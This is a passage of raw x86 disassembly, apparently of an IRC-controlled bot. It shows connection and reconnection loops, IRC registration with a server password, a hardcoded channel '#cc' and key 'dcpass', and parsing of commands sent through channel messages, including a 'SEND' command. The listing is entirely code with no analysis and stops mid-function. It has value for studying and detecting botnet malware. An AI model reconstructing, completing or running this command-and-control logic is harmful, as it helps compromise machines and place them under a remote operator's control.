		push	0FFFFFFFFh
		push	esi
		call	near ptr 0A70000h
		pop	esi
		push	esi
		call	ds:dword_41F070	; CloseHandle
		mov	eax, ds:dword_45E824
		cmp	[eax+8], ebx
		jz	short loc_40AE4C
		push	7D0h
		call	ds:dword_41F058	; Sleep
		mov	eax, ds:dword_45E824
		push	dword ptr [eax+8]
		call	near ptr 0A70000h
		xchg	eax, ecx


loc_40AE4C:				; CODE XREF: seg000:0040AE07j
					; seg000:0040AE31j
		cmp	ds:dword_428238, ebx
		jz	short loc_40AE69
		cmp	ds:dword_42F7D8, ebx
		jnz	short loc_40AE69
		lea	eax, [ebp-4F8h]
		push	eax
		call	sub_409824
		pop	ecx


loc_40AE69:				; CODE XREF: seg000:0040AE52j
					; seg000:0040AE5Aj
		lea	eax, [ebp-0E8h]
		push	offset dword_42846C
		push	eax
		call	sub_4135AD
		push	ebx
		lea	eax, [ebp-0E8h]
		push	ebx
		push	eax
		call	sub_413059
		lea	eax, [ebp-0E8h]
		push	eax
		call	sub_409615
		push	0B80h
		push	ebx
		push	offset dword_433B18
		call	sub_413630
		lea	eax, [ebp-0E8h]
		push	offset unk_428430
		push	eax
		call	sub_4135AD
		push	ebx
		lea	eax, [ebp-0E8h]
		push	1
		push	eax
		call	sub_413059
		add	esp, 38h
		mov	esi, eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-4F8h]
		push	ebx
		push	eax
		push	offset sub_409894
		push	ebx
		push	ebx
		call	ds:dword_41F06C	; CreateThread
		imul	esi, 234h
		cmp	eax, ebx
		mov	ds:dword_4348AC[esi], eax
		jnz	short loc_40AF0D
		call	ds:dword_41F068	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp-0E8h]
		push	offset unk_4283E0
		push	eax
		call	sub_4135AD
		add	esp, 0Ch


loc_40AF0D:				; CODE XREF: seg000:0040AEF0j
		lea	eax, [ebp-0E8h]
		push	eax
		call	sub_409615
		call	sub_413609
		push	7Fh
		push	offset a1068346466 ; "1068346466"
		push	offset dword_45DB94
		mov	ds:dword_45DD0C, ebx
		call	sub_414DD0
		mov	eax, ds:dword_42821C
		push	3Fh
		mov	edi, offset dword_45DC14
		push	offset aCc	; "#cc"
		push	edi
		mov	ds:dword_45DCE4, eax
		call	sub_414DD0
		push	3Fh
		mov	esi, offset dword_45DC54
		push	offset aDcpass	; "dcpass"
		push	esi
		call	sub_414DD0
		add	esp, 28h
		mov	ds:dword_45DCE8, ebx


loc_40AF6C:				; CODE XREF: seg000:0040B012j
					; seg000:0040B01Dj ...
		mov	[ebp-4], ebx


loc_40AF6F:				; CODE XREF: seg000:0040AFC6j
		cmp	ds:dword_42F7F0, ebx
		jnz	short loc_40AF8D
		lea	eax, [ebp-14h]
		push	ebx
		push	eax
		call	ds:dword_42F64C
		test	eax, eax
		jnz	short loc_40AF8D
		push	7530h
		jmp	short loc_40AFB9
; ---------------------------------------------------------------------------


loc_40AF8D:				; CODE XREF: seg000:0040AF75j
					; seg000:0040AF84j
		push	offset dword_45DB90
		mov	ds:dword_45DD08, ebx
		call	sub_40B07B
		cmp	eax, 2
		mov	[ebp-8], eax
		jz	loc_40B067
		cmp	ds:dword_45DD08, ebx
		jz	short loc_40AFB4
		dec	dword ptr [ebp-4]


loc_40AFB4:				; CODE XREF: seg000:0040AFAFj
		push	0BB8h


loc_40AFB9:				; CODE XREF: seg000:0040AF8Bj
		call	ds:dword_41F058	; Sleep
		inc	dword ptr [ebp-4]
		cmp	dword ptr [ebp-4], 6
		jl	short loc_40AF6F
		cmp	dword ptr [ebp-8], 2
		jz	loc_40B067
		cmp	[ebp-0Ch], ebx
		jz	short loc_40B017
		push	7Fh
		push	offset a1068346466 ; "1068346466"
		push	offset dword_45DB94
		call	sub_414DD0
		mov	eax, ds:dword_42821C
		push	3Fh
		push	offset aCc	; "#cc"
		push	edi
		mov	ds:dword_45DCE4, eax
		call	sub_414DD0
		push	3Fh
		push	offset aDcpass	; "dcpass"
		push	esi
		call	sub_414DD0
		add	esp, 24h
		mov	[ebp-0Ch], ebx
		jmp	loc_40AF6C
; ---------------------------------------------------------------------------


loc_40B017:				; CODE XREF: seg000:0040AFD5j
		cmp	ds:byte_428278,	bl
		jz	loc_40AF6C
		push	7Fh
		push	offset byte_428278
		push	offset dword_45DB94
		call	sub_414DD0
		mov	eax, ds:dword_428220
		push	3Fh
		push	offset aCc_0	; "#cc"
		push	edi
		mov	ds:dword_45DCE4, eax
		call	sub_414DD0
		push	3Fh
		push	offset aDcpass_0 ; "dcpass"
		push	esi
		call	sub_414DD0
		add	esp, 24h
		mov	dword ptr [ebp-0Ch], 1
		jmp	loc_40AF6C
; ---------------------------------------------------------------------------


loc_40B067:				; CODE XREF: seg000:0040AFA3j
					; seg000:0040AFCCj
		call	sub_413222


loc_40B06C:				; CODE XREF: seg000:0040ABC1j
					; seg000:0040ABD1j
		call	ds:dword_42F668


loc_40B072:				; CODE XREF: seg000:0040ABB4j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B07B	proc near		; CODE XREF: seg000:0040AF98p
					; DATA XREF: seg000:0040ED32o

var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_CC		= byte ptr -0CCh
var_8C		= byte ptr -8Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	59h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_190]
		rep movsd
		mov	dword ptr [eax+160h], 1


loc_40B0A0:				; CODE XREF: sub_40B07B+E6j
					; sub_40B07B+136j ...
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_413630
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_3C]
		call	ds:dword_42F708
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_18C]
		push	eax
		call	sub_408503
		test	eax, eax
		pop	ecx
		mov	[ebp+var_C], eax
		jz	loc_40B1CD
		push	1Ch
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_413630
		push	0
		lea	eax, [ebp+var_2C]
		push	ds:dword_45DCFC
		push	ds:dword_428244
		push	eax
		call	sub_412797
		mov	edi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	1Bh
		add	eax, offset byte_4348B0
		push	edi
		push	eax
		call	sub_414DD0
		add	esp, 28h
		push	6
		push	1
		push	2
		call	ds:dword_42F788
		mov	esi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	10h
		mov	ds:dword_4348A4[eax], esi
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	ds:dword_42F6B0
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40B166
		push	esi
		call	ds:dword_42F7A0
		call	sub_40852C
		push	7D0h


loc_40B15B:				; CODE XREF: sub_40B07B+146j
		call	ds:dword_41F058	; Sleep
		jmp	loc_40B0A0
; ---------------------------------------------------------------------------


loc_40B166:				; CODE XREF: sub_40B07B+CDj
		lea	eax, [ebp+var_18C]
		push	eax
		push	offset dword_4284A4
		call	sub_409689
		push	[ebp+var_38]
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_CC]
		push	[ebp+var_190]
		push	edi
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_40B1E3
		add	esp, 28h
		mov	edi, eax
		push	esi
		call	ds:dword_42F7A0
		test	edi, edi
		jz	loc_40B0A0
		cmp	edi, 1
		jnz	short loc_40B1C3
		push	0DBBA0h
		jmp	short loc_40B15B
; ---------------------------------------------------------------------------


loc_40B1C3:				; CODE XREF: sub_40B07B+13Fj
		cmp	edi, 2
		jz	short loc_40B1D1
		jmp	loc_40B0A0
; ---------------------------------------------------------------------------


loc_40B1CD:				; CODE XREF: sub_40B07B+5Aj
		xor	eax, eax
		jmp	short loc_40B1DD
; ---------------------------------------------------------------------------


loc_40B1D1:				; CODE XREF: sub_40B07B+14Bj
		push	[ebp+var_34]
		call	sub_413375
		pop	ecx
		push	2
		pop	eax


loc_40B1DD:				; CODE XREF: sub_40B07B+154j
		pop	edi
		pop	esi
		leave
		retn	4
sub_40B07B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B1E3	proc near		; CODE XREF: sub_40B07B+123p

var_1A10	= byte ptr -1A10h
var_A10		= byte ptr -0A10h
var_240		= byte ptr -240h
var_1A0		= byte ptr -1A0h
var_A0		= byte ptr -0A0h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		mov	eax, 1A10h
		call	sub_413E30
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	2
		mov	[ebp+var_8], ebx
		lea	eax, [ebp+var_1A0]
		pop	ecx


loc_40B201:				; CODE XREF: sub_40B1E3+26j
		mov	[eax], bl
		add	eax, 80h
		dec	ecx
		jnz	short loc_40B201
		cmp	ds:byte_45DD00,	bl
		jz	short loc_40B228
		push	offset byte_45DD00
		push	offset aPassS	; "PASS	%s\r\n"
		push	[ebp+arg_0]
		call	sub_41106A
		add	esp, 0Ch


loc_40B228:				; CODE XREF: sub_40B1E3+2Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_20]
		push	ebx
		push	ebx
		push	2
		push	eax
		call	sub_412797
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_C]
		push	offset aNickSUserS00S ;	"NICK %s\r\nUSER %s 0 0	:%s\r\n"
		push	eax
		call	sub_4135AD
		add	esp, 14h
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_413DB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_42F758
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40B292
		push	[ebp+arg_0]
		call	ds:dword_42F7A0
		push	1388h
		call	ds:dword_41F058	; Sleep


loc_40B28B:				; CODE XREF: sub_40B1E3+D9j
					; sub_40B1E3+153j
		xor	eax, eax


loc_40B28D:				; CODE XREF: sub_40B1E3+173j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40B292:				; CODE XREF: sub_40B1E3+92j
					; sub_40B1E3+F8j ...
		mov	esi, 1000h
		lea	eax, [ebp+var_1A10]
		push	esi
		push	ebx
		push	eax
		call	sub_413630
		add	esp, 0Ch
		lea	eax, [ebp+var_1A10]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_42F720
		test	eax, eax
		jle	short loc_40B28B
		lea	eax, [ebp+var_A10]
		push	eax
		lea	eax, [ebp+var_1A10]
		push	eax
		call	sub_407EE3
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_4], ebx
		jle	short loc_40B292
		lea	edi, [ebp+var_A10]


loc_40B2E3:				; CODE XREF: sub_40B1E3+165j
		push	1
		pop	esi


loc_40B2E6:				; CODE XREF: sub_40B1E3+144j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		lea	eax, [ebp+var_240]
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	[ebp+arg_18]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	dword ptr [edi]
		call	loc_40B35B
		add	esp, 2Ch
		dec	eax
		mov	esi, eax
		cmp	esi, ebx
		jle	short loc_40B329
		push	7D0h
		call	ds:dword_41F058	; Sleep
		jmp	short loc_40B2E6
; ---------------------------------------------------------------------------


loc_40B329:				; CODE XREF: sub_40B1E3+137j
		cmp	esi, 0FFFFFFFDh
		jz	short loc_40B353
		cmp	esi, 0FFFFFFFEh
		jz	short loc_40B34F
		cmp	esi, 0FFFFFFFFh
		jz	loc_40B28B
		inc	[ebp+var_4]
		add	edi, 4
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jl	short loc_40B2E3
		jmp	loc_40B292
; ---------------------------------------------------------------------------


loc_40B34F:				; CODE XREF: sub_40B1E3+14Ej
		push	1
		jmp	short loc_40B355
; ---------------------------------------------------------------------------


loc_40B353:				; CODE XREF: sub_40B1E3+149j
		push	2


loc_40B355:				; CODE XREF: sub_40B1E3+16Ej
		pop	eax
		jmp	loc_40B28D
sub_40B1E3	endp

; ---------------------------------------------------------------------------


loc_40B35B:				; CODE XREF: sub_40B1E3+12Ap
		push	ebp
		mov	ebp, esp
		mov	eax, 159Ch
		call	sub_413E30
		push	ebx
		push	esi
		mov	esi, 200h
		push	edi
		xor	ebx, ebx
		push	esi
		lea	eax, [ebp-2C8h]
		push	ebx
		push	eax
		mov	dword ptr [ebp-0ACh], 3
		mov	[ebp-10h], ebx
		mov	[ebp-98h], ebx
		mov	[ebp-8], ebx
		mov	[ebp-4], ebx
		mov	[ebp-0C8h], ebx
		call	sub_413630
		push	1Bh
		lea	eax, [ebp-564h]
		push	dword ptr [ebp+18h]
		push	eax
		call	sub_414DD0
		add	esp, 18h
		cmp	[ebp+8], ebx
		jz	loc_40B71F
		push	esi
		lea	eax, [ebp-0F9Ch]
		push	ebx
		push	eax
		call	sub_413630
		dec	esi
		lea	eax, [ebp-0F9Ch]
		push	esi
		push	dword ptr [ebp+8]
		push	eax
		call	sub_414DD0
		lea	eax, [ebp-0F9Ch]
		push	offset asc_42B904 ; " :"
		push	eax
		call	sub_413B80
		mov	[ebp-0Ch], eax
		lea	eax, [ebp-0F9Ch]
		push	esi
		push	eax
		lea	eax, [ebp-119Ch]
		push	eax
		call	sub_414DD0
		mov	esi, offset asc_422D6C ; " "
		lea	eax, [ebp-119Ch]
		push	esi
		push	eax
		call	sub_414D28
		add	esp, 34h
		mov	[ebp-94h], eax
		lea	edi, [ebp-90h]
		mov	dword ptr [ebp-0A8h], 1Fh


loc_40B42E:				; CODE XREF: seg000:0040B442j
		push	esi
		push	ebx
		call	sub_414D28
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	dword ptr [ebp-0A8h]
		pop	ecx
		jnz	short loc_40B42E
		mov	esi, [ebp-94h]
		cmp	esi, ebx
		jz	loc_40B71F
		cmp	[ebp-90h], ebx
		jz	loc_40B71F
		push	100h
		lea	eax, [ebp-0A14h]
		push	ebx
		push	eax
		call	sub_413630
		add	esp, 0Ch
		lea	ecx, [ebp-18h]
		push	1Fh
		pop	edx
		push	1
		pop	edi


loc_40B47C:				; CODE XREF: seg000:0040B4AEj
		mov	eax, [ecx]
		cmp	eax, ebx
		jz	short loc_40B4A8
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_40B4B0
		cmp	[eax+2], bl
		jnz	short loc_40B4B0
		movsx	esi, byte ptr [eax+1]
		mov	[ecx], ebx
		mov	byte ptr [ebp+esi-0A14h], 1
		mov	esi, [ebp-94h]
		mov	[eax], bl
		mov	[eax+1], bl
		mov	[eax+2], bl


loc_40B4A8:				; CODE XREF: seg000:0040B480j
		dec	edx
		sub	ecx, 4
		cmp	edx, ebx
		jge	short loc_40B47C


loc_40B4B0:				; CODE XREF: seg000:0040B485j
					; seg000:0040B48Aj
		cmp	[ebp-9A1h], bl
		jz	short loc_40B4BB
		mov	[ebp-8], edi


loc_40B4BB:				; CODE XREF: seg000:0040B4B6j
		cmp	[ebp-9A6h], bl
		jz	short loc_40B4C9
		mov	[ebp-8], ebx
		mov	[ebp-4], edi


loc_40B4C9:				; CODE XREF: seg000:0040B4C1j
		cmp	byte ptr [esi],	0Ah
		jz	short loc_40B503
		push	7Fh
		lea	eax, [ebp-0A94h]
		push	esi
		push	eax
		call	sub_414DD0
		lea	eax, [esi+1]
		push	17h
		push	eax
		lea	eax, [ebp-0C4h]
		push	eax
		call	sub_414DD0
		lea	eax, [ebp-0C4h]
		push	offset asc_42B900 ; "!"
		push	eax
		call	sub_414D28
		add	esp, 20h


loc_40B503:				; CODE XREF: seg000:0040B4CCj
		push	esi
		push	offset aPing	; "PING"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B554
		push	dword ptr [ebp-90h]
		mov	byte ptr [esi+1], 4Fh
		push	offset aPongS	; "PONG	%s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_41106A
		mov	eax, [ebp+28h]
		add	esp, 0Ch
		cmp	[eax], ebx
		jnz	loc_40B5F8
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_41106A
		add	esp, 10h
		jmp	loc_40B5F8
; ---------------------------------------------------------------------------


loc_40B554:				; CODE XREF: seg000:0040B512j
		mov	esi, [ebp-90h]
		push	esi
		push	offset a001	; "001"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411024
		push	esi
		push	offset a005	; "005"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411024
		push	esi
		push	offset a302	; "302"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B5BF
		push	offset a@	; "@"
		push	dword ptr [ebp-88h]
		call	sub_413B80
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40B5F8
		inc	eax
		push	9Fh
		push	eax
		push	dword ptr [ebp+24h]
		call	sub_414DD0
		add	esp, 0Ch
		jmp	short loc_40B5F8
; ---------------------------------------------------------------------------


loc_40B5BF:				; CODE XREF: seg000:0040B593j
		push	esi
		push	offset a433	; "433"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B5FF
		push	ebx
		push	ds:dword_45DCFC
		push	ds:dword_428244
		push	dword ptr [ebp+18h]
		call	sub_412797
		push	dword ptr [ebp+18h]
		push	offset aNickS	; "NICK	%s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_41106A
		add	esp, 1Ch


loc_40B5F8:				; CODE XREF: seg000:0040B533j
					; seg000:0040B54Fj ...
		mov	eax, edi
		jmp	loc_40B722
; ---------------------------------------------------------------------------


loc_40B5FF:				; CODE XREF: seg000:0040B5CEj
		mov	esi, [ebp+20h]
		mov	dword ptr [ebp-0A8h], 2
		mov	edi, 80h


loc_40B611:				; CODE XREF: seg000:0040B636j
		lea	eax, [ebp-0A94h]
		push	eax
		push	esi
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B62E
		mov	dword ptr [ebp-98h], 1


loc_40B62E:				; CODE XREF: seg000:0040B622j
		add	esi, edi
		dec	dword ptr [ebp-0A8h]
		jnz	short loc_40B611
		mov	esi, [ebp-90h]
		push	esi
		push	offset aKick	; "KICK"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40B727
		mov	esi, [ebp+20h]
		mov	dword ptr [ebp+2Ch], 2


loc_40B65D:				; CODE XREF: seg000:0040B6EAj
		cmp	[esi], bl
		jz	loc_40B6E5
		push	7Fh
		lea	eax, [ebp-0A94h]
		push	esi
		push	eax
		call	sub_414DD0
		lea	eax, [ebp-0C4h]
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40B6E5
		cmp	[ebp-88h], ebx
		jz	short loc_40B6E5
		push	dword ptr [ebp-88h]
		lea	eax, [ebp-0C4h]
		push	eax
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B6E5
		lea	eax, [ebp-0C4h]
		mov	[esi], bl
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset dword_42B880
		push	eax
		call	sub_4135AD
		lea	eax, [ebp-2C8h]
		push	eax
		lea	eax, [ebp-0C4h]
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_41106A
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_409615
		add	esp, 20h


loc_40B6E5:				; CODE XREF: seg000:0040B65Fj
					; seg000:0040B67Fj ...
		add	esi, edi
		dec	dword ptr [ebp+2Ch]
		jnz	loc_40B65D
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+18h]
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B71F
		push	dword ptr [ebp+14h]
		mov	eax, [ebp+28h]
		push	dword ptr [ebp+10h]
		mov	[eax], ebx
		push	offset aJoinSS	; "JOIN	%s %s\r\n"


loc_40B714:				; CODE XREF: seg000:0040B970j
					; seg000:0040BCC7j
		push	dword ptr [ebp+0Ch]
		call	sub_41106A


loc_40B71C:				; CODE XREF: seg000:0041055Dj
					; seg000:0041057Aj ...
		add	esp, 10h


loc_40B71F:				; CODE XREF: seg000:0040B3B6j
					; seg000:0040B44Cj ...
		push	1


loc_40B721:				; CODE XREF: seg000:00410AA4j
		pop	eax


loc_40B722:				; CODE XREF: seg000:0040B5FAj
					; seg000:0040D4BFj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40B727:				; CODE XREF: seg000:0040B64Dj
		push	esi
		push	offset aNick	; "NICK"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40B87D
		mov	eax, [ebp-8Ch]
		mov	esi, [ebp+20h]
		inc	eax
		mov	dword ptr [ebp+8], 2
		mov	[ebp+2Ch], eax


loc_40B750:				; CODE XREF: seg000:0040B7A2j
		lea	eax, [ebp-0A94h]
		push	eax
		push	esi
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B79D
		lea	eax, [ebp-0A94h]
		push	21h
		push	eax
		call	sub_415110
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+24h], eax
		jz	short loc_40B79D
		push	dword ptr [ebp+2Ch]
		lea	edi, [esi+2]
		mov	byte ptr [esi],	3Ah
		lea	eax, [edi-1]
		push	eax
		call	sub_413CC0
		push	dword ptr [ebp+24h]
		push	edi
		call	sub_413CD0
		add	esp, 10h
		mov	edi, 80h


loc_40B79D:				; CODE XREF: seg000:0040B761j
					; seg000:0040B778j
		add	esi, edi
		dec	dword ptr [ebp+8]
		jnz	short loc_40B750
		lea	eax, [ebp-0C4h]
		test	eax, eax
		jz	loc_40B71F
		cmp	[ebp+2Ch], ebx
		jz	loc_40B71F
		push	dword ptr [ebp+18h]
		lea	eax, [ebp-0C4h]
		push	eax
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B7E5
		push	0Fh
		push	dword ptr [ebp+2Ch]
		push	dword ptr [ebp+18h]
		call	sub_414DD0
		add	esp, 0Ch
		jmp	loc_40B71F
; ---------------------------------------------------------------------------


loc_40B7E5:				; CODE XREF: seg000:0040B7CEj
		mov	edi, [ebp+20h]
		xor	esi, esi


loc_40B7EA:				; CODE XREF: seg000:0040B80Bj
		cmp	[edi], bl
		jz	short loc_40B801
		lea	eax, [ebp-0A94h]
		push	eax
		push	edi
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40B812


loc_40B801:				; CODE XREF: seg000:0040B7ECj
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_40B7EA
		jmp	loc_40B71F
; ---------------------------------------------------------------------------


loc_40B812:				; CODE XREF: seg000:0040B7FFj
		lea	eax, [ebp-0A94h]
		push	21h
		push	eax
		call	sub_415110
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+8], eax
		jz	loc_40B71F
		push	eax
		call	sub_413DB0
		push	dword ptr [ebp+2Ch]
		mov	edi, eax
		call	sub_413DB0
		add	edi, eax
		pop	ecx
		cmp	edi, 7Eh
		pop	ecx
		ja	loc_40B71F
		push	dword ptr [ebp+8]
		shl	esi, 7
		push	dword ptr [ebp+2Ch]
		add	esi, [ebp+20h]
		push	offset aSS	; ":%s%s"
		push	esi
		call	sub_4135AD
		push	ebx
		lea	eax, [ebp-4ACh]
		push	ebx
		push	eax
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		call	sub_4110B0
		add	esp, 24h
		jmp	loc_40B71F
; ---------------------------------------------------------------------------


loc_40B87D:				; CODE XREF: seg000:0040B736j
		push	esi
		push	offset aPart	; "PART"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40B89F
		push	esi
		push	offset aQuit	; "QUIT"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B8C6


loc_40B89F:				; CODE XREF: seg000:0040B88Cj
		mov	edi, [ebp+20h]
		xor	esi, esi


loc_40B8A4:				; CODE XREF: seg000:0040B8C4j
		cmp	[edi], bl
		jz	short loc_40B8BA
		push	dword ptr [ebp-94h]
		push	edi
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40B914


loc_40B8BA:				; CODE XREF: seg000:0040B8A6j
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_40B8A4


loc_40B8C6:				; CODE XREF: seg000:0040B89Dj
		push	dword ptr [ebp-90h]
		push	offset a353	; "353"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40B975
		push	dword ptr [ebp-84h]
		push	dword ptr [ebp+10h]
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B8FD
		mov	eax, [ebp+28h]
		mov	dword ptr [eax], 1


loc_40B8FD:				; CODE XREF: seg000:0040B8F2j
		push	dword ptr [ebp-84h]
		push	offset dword_42B820


loc_40B908:				; CODE XREF: seg000:004108D6j
					; seg000:00410C4Fj ...
		call	sub_409689
		pop	ecx


loc_40B90E:				; CODE XREF: seg000:00410D64j
		pop	ecx
		jmp	loc_40B71F
; ---------------------------------------------------------------------------


loc_40B914:				; CODE XREF: seg000:0040B8B8j
		mov	eax, [ebp+20h]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp-0C4h]
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset dword_42B7EC
		push	eax
		call	sub_4135AD
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_409615
		push	dword ptr [ebp-90h]
		push	offset aPart	; "PART"
		call	sub_4139D0
		add	esp, 18h
		test	eax, eax
		jnz	loc_40B71F
		lea	eax, [ebp-2C8h]
		push	eax
		mov	eax, [ebp-94h]
		inc	eax
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		jmp	loc_40B714
; ---------------------------------------------------------------------------


loc_40B975:				; CODE XREF: seg000:0040B8DAj
		push	dword ptr [ebp-90h]
		mov	esi, offset aPrivmsg ; "PRIVMSG"
		push	esi
		call	sub_4139D0
		pop	ecx
		mov	edi, offset aNotice ; "NOTICE"
		test	eax, eax
		pop	ecx
		jz	short loc_40B9C9
		push	dword ptr [ebp-90h]
		push	edi
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40B9C9
		push	dword ptr [ebp-90h]
		push	offset dword_42B7D8
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_410E98
		cmp	ds:dword_428234, ebx
		jz	loc_410E98


loc_40B9C9:				; CODE XREF: seg000:0040B98Fj
					; seg000:0040B9A1j
		push	dword ptr [ebp-90h]
		push	esi
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40BB4F
		push	dword ptr [ebp-90h]
		push	edi
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40BB4F
		mov	eax, [ebp-88h]
		inc	dword ptr [ebp-84h]
		push	4
		mov	[ebp-8Ch], eax
		pop	esi
		mov	[ebp-0ACh], esi


loc_40BA10:				; CODE XREF: seg000:0040BC0Bj
					; seg000:0040BC9Cj ...
		shl	esi, 2
		mov	eax, [ebp+esi-94h]
		lea	edi, [ebp+esi-94h]
		push	eax
		push	offset dword_42B7D0
		mov	[ebp+10h], eax
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40BE49
		push	dword ptr [ebp+esi-90h]
		push	offset aSend_0	; "SEND"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40BD07
		cmp	[ebp-98h], ebx
		jz	loc_40BCDD
		push	dword ptr [ebp+esi-8Ch]
		mov	edi, offset aS_1 ; "%s"
		lea	eax, [ebp-6FCh]
		push	edi
		push	eax
		call	sub_4135AD
		push	dword ptr [ebp+esi-88h]
		lea	eax, [ebp-710h]
		push	edi
		push	eax
		call	sub_4135AD
		push	dword ptr [ebp+esi-84h]
		call	sub_413B1F
		mov	[ebp-578h], eax
		mov	eax, [ebp+0Ch]
		mov	[ebp-718h], eax
		lea	eax, [ebp-0C4h]
		push	7Fh
		push	eax
		lea	eax, [ebp-5F8h]
		push	eax
		call	sub_414DD0
		mov	eax, [ebp-4]
		mov	[ebp-570h], eax
		mov	eax, [ebp-8]
		mov	[ebp-56Ch], eax
		lea	eax, [ebp-5F8h]
		push	eax
